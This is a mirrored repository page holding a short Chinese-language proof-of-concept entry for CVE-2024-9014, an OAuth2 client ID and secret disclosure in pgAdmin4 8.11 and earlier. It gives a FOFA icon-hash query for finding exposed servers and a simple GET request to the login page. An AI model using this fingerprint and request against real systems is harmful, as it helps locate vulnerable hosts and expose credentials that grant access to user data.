admin/POC
1
0
Fork 0
mirror of https://github.com/eeeeeeeeee-code/POC.git synced 2025-05-05 10:17:57 +00:00
Code Issues Packages Projects Releases Wiki Activity
POC/wpoc/pgAdmin/CVE-2024-9014.md
eeeeeeeeee-code 06c8413e64 first commit
2025-03-04 23:12:57 +08:00

584 B
Raw Blame History

pgAdmin4敏感信息泄露漏洞(CVE-2024-9014)

CVE-2024-9014 pgAdmin4 敏感信息泄露 ，pgAdmin 版本 8.11 及更早版本容易受到 OAuth2 身份验证中的安全缺陷的影响。此漏洞允许攻击者获取客户端 ID 和机密，从而导致对用户数据的未经授权的访问。

fofa

icon_hash="1502815117"

poc

GET /login?next=/ HTTP/1.1
Host: 192.168.31.135:5050

1

漏洞来源